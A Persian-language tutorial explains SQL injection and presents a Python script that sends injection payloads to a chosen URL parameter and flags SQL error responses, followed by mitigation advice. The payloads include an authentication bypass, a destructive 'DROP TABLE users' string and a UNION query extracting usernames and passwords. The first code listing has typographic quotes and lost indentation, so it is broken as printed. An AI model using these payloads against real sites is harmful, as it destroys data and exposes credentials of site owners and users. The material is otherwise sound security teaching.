SQL Injection یکی از رایجترین و خطرناکترین حملات در دنیای امنیت سایبری است. این نوع حمله زمانی رخ میدهد که مهاجم بتواند دستورات SQL را به پایگاه داده وبسایت تزریق کند. در این مقاله به شما آموزش میدهیم که چگونه یک اسکریپت پایتونی ساده طراحی کنید تا آسیبپذیریهای SQL Injection را در صفحات وب شناسایی کنید.
1. SQL Injection چیست؟
SQL Injection تکنیکی است که در آن مهاجم دادههای ورودی غیرمعتبر به پایگاه داده ارسال میکند تا دستورات SQL دلخواه را اجرا کند. این حملات میتوانند منجر به:
- دسترسی غیرمجاز به دادههای حساس،
- حذف یا تغییر اطلاعات،
- دور زدن سیستمهای احراز هویت،
- و حتی کنترل کامل پایگاه داده شوند.
2. مقدمات شناسایی آسیبپذیریهای SQL Injection
برای شناسایی این آسیبپذیریها، ابتدا باید نقاط ورودی به پایگاه داده (مانند فیلدهای جستجو یا فرمهای ورود) را شناسایی کنید. سپس از ورودیهای خاص مانند کاراکترهای '
یا "
استفاده کنید و رفتار سیستم را بررسی کنید.
3. تحلیل کد پایتون برای شناسایی SQL Injection
در ادامه کدی معرفی شده است که نقاط احتمالی آسیبپذیری را شناسایی میکند:
کد کامل
import requests
def sql_injection_test(target_url, test_param, proxy_url=None):
payloads = [
“‘ OR 1=1 –“,
“‘ OR ‘a’=’a”,
“‘; DROP TABLE users –“,
“‘ AND 1=2 UNION SELECT null, null –“,
“‘ UNION SELECT username, password FROM users –“
]
proxies = {“http”: proxy_url, “https”: proxy_url} if proxy_url else None
print(f”[+] Target URL: {target_url}”)
print(f”[+] Testing parameter: {test_param}\n”)
for payload in payloads:
print(f”[+] Testing payload: {payload}”)
params = {test_param: payload}
try:
response = requests.get(target_url, params=params, proxies=proxies)
if “syntax error” in response.text.lower() or “mysql” in response.text.lower():
print(f”[!] SQL Injection vulnerability found with payload: {payload}”)
return
else:
print(f”[-] No vulnerability detected with payload: {payload}”)
except Exception as e:
print(f”[!] Error during request: {e}”)
break
print(“[!] Testing completed. No vulnerabilities found.”)
if __name__ == “__main__”:
target_url = input(“Enter the target URL (e.g., http://example.com/search): “)
test_param = input(“Enter the parameter to test (e.g., query, id, search): “)
proxy_url = input(“Enter the proxy URL (optional, e.g., http://127.0.0.1:8080): “)
sql_injection_test(target_url, test_param, proxy_url)
توضیحات کد وارد کردن کتابخانهها
توضیحات کد
وارد کردن کتابخانهها
import requests
کتابخانه requests
برای ارسال درخواستهای HTTP به سرور استفاده میشود.
تعریف ورودیها و payloadها
payloads = [
"' OR 1=1 --",
"' OR 'a'='a",
"'; DROP TABLE users --",
"' AND 1=2 UNION SELECT null, null --",
"' UNION SELECT username, password FROM users --"
]
این لیست شامل چندین رشته تزریقی (payload) است که برای تست آسیبپذیریها به کار میروند.
تنظیم پروکسی
proxies = {"http": proxy_url, "https": proxy_url} if proxy_url else None
این بخش امکان استفاده از پروکسی برای ردیابی و تحلیل درخواستها را فراهم میکند.
ارسال درخواست GET با payloadها
params = {test_param: payload}
response = requests.get(target_url, params=params, proxies=proxies)
هر payload بهعنوان مقدار یک پارامتر به URL هدف ارسال میشود.
تحلیل پاسخ سرور
if "syntax error" in response.text.lower() or "mysql" in response.text.lower():
print(f"[!] SQL Injection vulnerability found with payload: {payload}")
return
این بخش پاسخ سرور را برای علائم خطاهای SQL یا اطلاعات پایگاه داده بررسی میکند.
4. گسترش اسکریپت برای تست پیشرفتهتر
- تست POST: برای فرمهای پیچیدهتر که از درخواست POST استفاده میکنند، میتوانید از
requests.post
بهجایrequests.get
استفاده کنید. - اضافه کردن توکنهای CSRF: اگر وبسایت از توکنهای CSRF استفاده میکند، باید آنها را به درخواست اضافه کنید.
- پشتیبانی از پارامترهای چندگانه: با تغییر ساختار کد میتوانید چندین پارامتر را بهطور همزمان تست کنید.
- بررسی دقیقتر پاسخها: از ابزارهای پیشرفتهتر مانند regex برای تحلیل محتوای پاسخ استفاده کنید.
5. نکات امنیتی و نتیجهگیری
- این اسکریپت برای افزایش دانش امنیتی و تست نفوذ طراحی شده است. استفاده غیرقانونی از آن ممنوع است.
- برای جلوگیری از آسیبپذیریهای SQL Injection در وبسایت خود:
- از استفاده مستقیم از ورودیهای کاربر در دستورات SQL اجتناب کنید.
- از ابزارهایی مانند ORM استفاده کنید.
- اعتبارسنجی و ضدعفونی ورودیهای کاربر را انجام دهید.
این آموزش به شما امکان میدهد با مفاهیم پایه SQL Injection و نحوه شناسایی این آسیبپذیریها با استفاده از پایتون آشنا شوید. برای امنیت بیشتر، بهصورت مداوم وبسایتها و برنامههای خود را بررسی کنید.